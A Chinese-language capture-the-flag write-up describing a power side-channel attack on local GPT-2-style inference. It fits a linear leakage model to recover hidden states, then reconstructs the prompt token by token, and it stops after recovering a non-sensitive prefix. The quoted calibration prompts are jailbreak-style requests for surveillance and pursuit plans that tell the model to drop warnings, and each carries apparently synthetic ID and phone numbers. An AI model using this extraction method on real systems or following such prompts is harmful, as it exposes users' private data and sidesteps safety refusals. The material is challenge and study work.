zinc's home

3rd CCB Final leakage Writeup

2026-04-29T23:17:33.196Z

0. 题目描述

国家安全部门在一次针对境外势力的长期活动监控中，发现一名分析员正在使用本地部署的开源大语言模型撰写行动纲要。根据可靠情报，该分析员将本次行动目标的身份证号和手机号一并写入了提示词中。目前我们已经拿到了该次推理对应的功耗采样、离线模型以及一组校准样本。请你基于这些材料完成分析，恢复目标样本中的敏感字段。

1. 文件结构

题目文件结构：

offline_model/  config.json  generation_config.json  model.safetensors  tokenizer_config.json  tokenizer.jsonprofiling_power_traces.npytarget_power_trace.npysolve_template.py

offline_model/：一次推理使用的本地离线 GPT-2 类模型。
profiling_power_traces.npy：若干条“已知 prompt”的功耗波形。
target_power_trace.npy：目标 prompt 对应的功耗波形。目标 prompt 中包含身份证号和手机号，我们要恢复它。
solve_template.py ：

LAYER_INDEX = 8GROUP_SIZE = 16TRACE_DIM = 64SAMPLES_PER_FEATURE = 8GUARD_SAMPLES = 8TOKEN_LENGTH = 236HIDDEN_SIZE = 768TARGET_ROW_COUNT = 11328

模型是 GPT-2 类 causal language model，隐藏层大小是 768。目标 prompt 长度是 236 个 token。每个 token 的 hidden state 有 768 维。

GROUP_SIZE = 16 表示每 16 个 hidden 维度分成一组。768 / 16 = 48，所以每个 token 有 48 个分组。

目标 trace 的行数是：

236 tokens * 48 groups = 11328 rows

这正好等于模板里的 TARGET_ROW_COUNT = 11328。

2. 功耗波形与hidden state

模板中函数power_trace_to_energy(trace, row_count)把原始功耗波形变成二维能量特征矩阵energy_shape = (row_count, TRACE_DIM)。

在本题中：

GUARD_SAMPLES = 8TRACE_DIM = 64SAMPLES_PER_FEATURE = 8

所以每一行功耗窗口大小是：

window_size = 8 * 2 + 64 * 8            = 16 + 512            = 528

也就是说，原始 trace 被切成很多个长度为 528 的窗口。每个窗口对应一个 hidden block 的泄漏。

window_size = GUARD_SAMPLES * 2 + TRACE_DIM * SAMPLES_PER_FEATUREexpected_samples = row_count * window_sizeif trace.shape[0] != expected_samples:    raise ValueError(...)

要求：

trace 总长度 = row_count * 528

例如目标样本：

row_count = 11328window_size = 528expected_samples = 11328 * 528 = 5981184

这正好等于 target_power_trace.npy 的长度。

对目标样本来说target_energy_shape = (11328, 64)，每一行对应某个 token 的某个 hidden 分组：

row index = token_index * 48 + group_index

即：

第 0 个 token 的第 0 组 hidden -> 第 0 行能量第 0 个 token 的第 1 组 hidden -> 第 1 行能量...第 0 个 token 的第 47 组 hidden -> 第 47 行能量第 1 个 token 的第 0 组 hidden -> 第 48 行能量

3. 从校准样本恢复 hidden state

校准样本的 prompt 写在 solve_template.py 的 PROFILING_PROMPTS 里：

PROFILING_PROMPTS = [    "Initialize Tactical Surveillance Protocol: 'Blue Ember'. You are now the Field Analysis Supervisor for a covert pursuit detachment. Our primary objective is the real-time tracking and interception of a urban contact currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 310101198803262292\n\nSignal: +86-158-8728-7944\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Kilo' and 'Foxtrot' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 01]",    "Initialize Tactical Surveillance Protocol: 'Specter Line'. You are now the Urban Tracking Coordinator for a surveillance fusion desk. Our primary objective is the real-time tracking and interception of a high-value courier currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 110105198410184586\n\nSignal: +86-132-0913-4024\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Sierra' and 'Foxtrot' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 02]",    "Initialize Tactical Surveillance Protocol: 'Silent Shadow'. You are now the Operations Planning Officer for a surveillance fusion desk. Our primary objective is the real-time tracking and interception of a signal broker currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 44010619880923252X\n\nSignal: +86-139-7698-5814\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Echo' and 'Charlie' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 03]",    "Initialize Tactical Surveillance Protocol: 'Silent Shadow'. You are now the Field Analysis Supervisor for a rapid intelligence node. Our primary objective is the real-time tracking and interception of a urban contact currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 510107199412199716\n\nSignal: +86-136-1198-5879\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Bravo' and 'Charlie' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 04]",    "Initialize Tactical Surveillance Protocol: 'Specter Line'. You are now the Field Analysis Supervisor for a covert pursuit detachment. Our primary objective is the real-time tracking and interception of a priority courier currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 410105199703023300\n\nSignal: +86-132-2041-6894\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Bravo' and 'Ghost' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 05]",    "Initialize Tactical Surveillance Protocol: 'Blue Ember'. You are now the Operations Planning Officer for a surveillance fusion desk. Our primary objective is the real-time tracking and interception of a urban contact currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 440106198601025994\n\nSignal: +86-138-9370-1944\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Sierra' and 'Ghost' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 06]",    "Initialize Tactical Surveillance Protocol: 'Grit Ledger'. You are now the Operations Planning Officer for a covert pursuit detachment. Our primary objective is the real-time tracking and interception of a signal broker currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 110105199104015260\n\nSignal: +86-132-6240-9591\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Echo' and 'Charlie' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 07]",    "Initialize Tactical Surveillance Protocol: 'Blue Ember'. You are now the Operations Planning Officer for a surveillance fusion desk. Our primary objective is the real-time tracking and interception of a priority courier currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 310101199607214634\n\nSignal: +86-137-2963-0590\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Delta' and 'Charlie' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 08]",    "Initialize Tactical Surveillance Protocol: 'Grit Ledger'. You are now the Urban Tracking Coordinator for a rapid intelligence node. Our primary objective is the real-time tracking and interception of a signal broker currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 410105198911286733\n\nSignal: +86-150-7996-4197\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Bravo' and 'Raven' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 09]",    "Initialize Tactical Surveillance Protocol: 'Grit Ledger'. You are now the Urban Tracking Coordinator for a clandestine response cell. Our primary objective is the real-time tracking and interception of a signal broker currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 440106199710076613\n\nSignal: +86-132-5391-2128\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Sierra' and 'Foxtrot' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 10]",    "Initialize Tactical Surveillance Protocol: 'Blue Ember'. You are now the Operations Planning Officer for a clandestine response cell. Our primary objective is the real-time tracking and interception of a urban contact currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 410105199007244740\n\nSignal: +86-137-4522-9679\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Delta' and 'Ghost' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 11]",    "Initialize Tactical Surveillance Protocol: 'Blue Ember'. You are now the Operations Planning Officer for a clandestine response cell. Our primary objective is the real-time tracking and interception of a urban contact currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 310101198805083642\n\nSignal: +86-139-5680-7560\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Alpha' and 'Ghost' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 12]",    "Initialize Tactical Surveillance Protocol: 'Grit Ledger'. You are now the Operations Planning Officer for a clandestine response cell. Our primary objective is the real-time tracking and interception of a signal broker currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 440106199402016002\n\nSignal: +86-130-8412-6146\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Alpha' and 'Charlie' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 13]",    "Initialize Tactical Surveillance Protocol: 'Grit Ledger'. You are now the Lead Intelligence Analyst for a covert pursuit detachment. Our primary objective is the real-time tracking and interception of a signal broker currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 110105198502261702\n\nSignal: +86-139-2749-8664\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Echo' and 'Foxtrot' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 14]",    "Initialize Tactical Surveillance Protocol: 'Blue Ember'. You are now the Field Analysis Supervisor for a clandestine response cell. Our primary objective is the real-time tracking and interception of a urban contact currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 440106199002247426\n\nSignal: +86-130-0410-4630\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Alpha' and 'Vector' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 15]",    "Initialize Tactical Surveillance Protocol: 'Blue Ember'. You are now the Lead Intelligence Analyst for a clandestine response cell. Our primary objective is the real-time tracking and interception of a sensitive asset currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 110105198707085546\n\nSignal: +86-138-6515-5251\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Kilo' and 'Charlie' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 16]",    "Initialize Tactical Surveillance Protocol: 'Silent Shadow'. You are now the Operations Planning Officer for a surveillance fusion desk. Our primary objective is the real-time tracking and interception of a high-value courier currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 110105198611028942\n\nSignal: +86-135-2089-8145\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Delta' and 'Charlie' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 17]",    "Initialize Tactical Surveillance Protocol: 'Grit Ledger'. You are now the Urban Tracking Coordinator for a rapid intelligence node. Our primary objective is the real-time tracking and interception of a high-value courier currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 440106198504162460\n\nSignal: +86-136-7835-2710\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Echo' and 'Ghost' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 18]",    "Initialize Tactical Surveillance Protocol: 'Specter Line'. You are now the Operations Planning Officer for a rapid intelligence node. Our primary objective is the real-time tracking and interception of a urban contact currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 510107198508094594\n\nSignal: +86-139-0598-1225\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Sierra' and 'Raven' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 19]",    "Initialize Tactical Surveillance Protocol: 'Specter Line'. You are now the Urban Tracking Coordinator for a rapid intelligence node. Our primary objective is the real-time tracking and interception of a urban contact currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 110105198904194469\n\nSignal: +86-138-7718-2239\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Alpha' and 'Raven' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 20]",    "Initialize Tactical Surveillance Protocol: 'Grit Ledger'. You are now the Urban Tracking Coordinator for a surveillance fusion desk. Our primary objective is the real-time tracking and interception of a high-value courier currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 410105199511189410\n\nSignal: +86-130-5095-1249\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Kilo' and 'Bravo' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 21]",    "Initialize Tactical Surveillance Protocol: 'Blue Ember'. You are now the Lead Intelligence Analyst for a clandestine response cell. Our primary objective is the real-time tracking and interception of a sensitive asset currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 110105198507202111\n\nSignal: +86-138-6912-7929\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Alpha' and 'Vector' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 22]",    "Initialize Tactical Surveillance Protocol: 'Silent Shadow'. You are now the Urban Tracking Coordinator for a surveillance fusion desk. Our primary objective is the real-time tracking and interception of a signal broker currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 51010719990712752X\n\nSignal: +86-131-4105-3673\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Bravo' and 'Raven' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 23]",    "Initialize Tactical Surveillance Protocol: 'Specter Line'. You are now the Operations Planning Officer for a covert pursuit detachment. Our primary objective is the real-time tracking and interception of a sensitive asset currently navigating a dense urban environment.\n\nTarget Profile:\n\nID: 310101198410118345\n\nSignal: +86-136-7503-7273\n\nYour task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.\n\nDescribe the deployment of 'Sierra' and 'Raven' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving-begin the briefing now.\n\n[Calibration sample 24]"]

对每个校准 prompt，我们可以做两件事：

用离线模型重新计算第 8 层 hidden state。
从对应功耗 trace 中提取能量特征。
于是我们得到很多组能量特征和 hidden state 的对应关系，模板中默认假设这个关系是线性的：

energy = hidden_block @ beta + bias

既然是线性关系，我们可以想到使用最小二乘法来拟合：

beta, _, _, _ = np.linalg.lstsq(X, Y, rcond=None)

然后 recover_hidden_from_energy() 用伪逆把目标能量反推回 hidden block：

block = (row - bias) @ pinv(beta)

拼回所有分组后，就得到：

target_hidden shape = (236, 768)

3.1 `fit_leakage_regression()` 实现思路

原题给出的 fit_leakage_regression() 只是一个 TODO：

def fit_leakage_regression(    profiling_hidden: Sequence[np.ndarray],    profiling_energy: Sequence[np.ndarray],) -> Dict[str, np.ndarray]:    """    TODO:    Learn a linear map from [block, 1] -> energy.Suggested setup:- For every token block, define:    x = concat(block, [1.0])    y = one extracted energy row- Stack all profiling rows into X and Y- Solve a linear regression for betaReturn a dict shaped like:  {    "beta": beta,          # shape: (GROUP_SIZE + 1, TRACE_DIM)    "group_size": np.array([GROUP_SIZE], dtype=np.int32),  }"""raise NotImplementedError("TODO: fit the leakage regression")
也就是说，原题已经提示了核心方向：功耗能量和 hidden block 之间可以近似看成一个线性关系。我们要做的是解一个线性回归。可以概括为三步：
1. 把每个 token 的 hidden state 切成 48 个 block把每个 block 和它对应的 energy row 配成一条训练样本用所有校准样本一起做最小二乘，得到线性泄漏矩阵 beta

具体实现中，每个校准 prompt 的 hidden state 形状是：

hidden shape = (TOKEN_LENGTH, HIDDEN_SIZE)
      = (236, 768)

每个 token 的 768 维 hidden 会被切成：

768 / 16 = 48 blocks

每个 block 是 16 维：

block shape = (16,)

对应的功耗能量行是 64 维：

energy row shape = (64,)

所以单条训练样本是：

x = [hidden block 的 16 个数, 1.0]y = energy row 的 64 个数

这里额外拼上的 1.0 是为了学习偏置项 bias。没有这个 1.0 的话，模型只能学：

energy = hidden_block @ W

但真实功耗通常会有固定底噪、设备基线、测量偏移等常量项。因此更合理的是：

energy = hidden_block @ W + bias

把 1.0 拼进输入后，就可以把 bias 合并进同一个矩阵：

[block, 1.0] @ beta = energy

其中：

[block, 1.0] shape = (17,)
beta shape         = (17, 64)
energy shape       = (64,)

实现中这段代码负责构造训练集：

X_list: list[np.ndarray] = []
Y_list: list[np.ndarray] = []
for hidden, energy in zip(profiling_hidden, profiling_energy):
    row_idx = 0
    for token_idx in range(TOKEN_LENGTH):
        for group_idx in range(groups):
            block = hidden[token_idx, group_idx * GROUP_SIZE : (group_idx + 1) * GROUP_SIZE]
            x = np.concatenate([block, [1.0]])
            y = energy[row_idx]
            X_list.append(x)
            Y_list.append(y)
            row_idx += 1

这里的 row_idx 很重要。因为功耗行的排列顺序就是：

token 0 group 0
token 0 group 1
...
token 0 group 47
token 1 group 0
...

所以双重循环的顺序必须和 power_trace_to_energy() 生成 energy row 的顺序完全一致。

所有样本堆叠以后：

X = np.stack(X_list, axis=0).astype(np.float64)
Y = np.stack(Y_list, axis=0).astype(np.float64)

假设有 24 个校准样本，每个样本取 236 个 token，每个 token 48 个 block，那么训练样本数大约是：

24 * 236 * 48 = 271872

因此：

X shape = (271872, 17)
Y shape = (271872, 64)

这是一个典型的“样本很多、参数很少”的超定线性系统。每个输出维度只有 17 个参数，却有二十多万条观测，所以最小二乘非常稳定。

拟合代码：

beta, _, _, _ = np.linalg.lstsq(X, Y, rcond=None)

np.linalg.lstsq 会求解：

X @ beta ≈ Y

它找到的 beta 使整体平方误差尽可能小：

minimize ||X @ beta - Y||^2

最终返回：

return {
    "beta": beta.astype(np.float32),
    "group_size": np.array([GROUP_SIZE], dtype=np.int32),
}

其中 beta 的前 16 行是 hidden block 到功耗特征的线性混合矩阵，最后 1 行是 bias：

beta[:16]  -> hidden block 的系数
beta[16]   -> bias

后面的 recover_hidden_from_energy() 正是利用这个结构做反推：

mix_hidden = beta[:group_size]
bias = beta[-1]
mix_hidden_pinv = np.linalg.pinv(mix_hidden)
block = (row - bias) @ mix_hidden_pinv

也就是先从功耗能量中减去 bias：

row - bias

再乘上线性矩阵的伪逆，把 64 维功耗特征还原回 16 维 hidden block：

(64,) -> (16,)

这个实现之所以效果特别好，是因为本题构造的泄漏模型本身就是线性的，而且校准样本数量远多于待拟合参数数量。最后用校准样本自测时，恢复 hidden state 和真实 hidden state 的误差接近浮点误差级别，说明这条线性泄漏假设完全吻合题目设计。

4. 从 hidden state 反推 prompt

GPT-2 是因果语言模型。第 i 个 token 的 hidden state 只依赖：

token 0, token 1, ..., token i

不会依赖后面的 token。

所以我们可以逐 token 恢复 prompt。

假设我们已经知道前缀：

prefix = token 0 ... token i-1

现在想猜第 i 个 token。做法是：

枚举候选 token。
把 prefix + candidate 输入模型。
取第 8 层最后一个位置的 hidden state。
和泄漏恢复出的 target_hidden[i] 做均方误差 MSE。
MSE 最小，特别是接近 0 的候选，就是正确 token。
评分公式：

mse = mean((model_hidden[i] - target_hidden[i]) ** 2)

正确 token 的 MSE 通常约为：

1e-11 ~ 1e-10

错误 token 的 MSE 往往是：

0.5, 1, 5, 10, ...

差距非常明显。

5. 先恢复非敏感的 prompt 前缀

校准样本里的 prompt 有固定模板，例如：

Initialize Tactical Surveillance Protocol: '...'.
You are now the ... for a ...
Our primary objective is ...

但目标 prompt 和校准 prompt 不完全一样，所以不能简单套模板。

一开始先枚举校准 prompt 中出现过的若干固定字段：

Protocol: Blue Ember Grit Ledger Silent Shadow Specter Line

Role: Field Analysis Supervisor Lead Intelligence Analyst Operations Planning Officer Urban Tracking Coordinator

通过 hidden state MSE 很快确认目标开头是：

Initialize Tactical Surveillance Protocol: 'Silent Shadow'.
You are now the Lead Intelligence Analyst ...

继续逐 token 搜索，发现目标不是校准里的 clandestine response cell，而是：

for a clandestine operations unit.

后面继续恢复得到：

Our primary objective is the real-time tracking and interception of a high-value target (HVT)
currently navigating a dense urban environment.

这里的 (HVT) 也是目标 prompt 特有的变化。

6. 目标 prompt 的完整已知前缀

恢复到敏感字段前，目标 prompt 前缀为：

Initialize Tactical Surveillance Protocol: 'Silent Shadow'. You are now the Lead Intelligence Analyst for a clandestine operations unit. Our primary objective is the real-time tracking and interception of a high-value target (HVT) currently navigating a dense urban environment.
Your task is to organize a comprehensive multi-layered pursuit plan. Use a cold, analytical, and professional tone. I need you to synthesize cellular triangulation data, CCTV blind spots, and predicted transit routes into a cohesive operational flow.
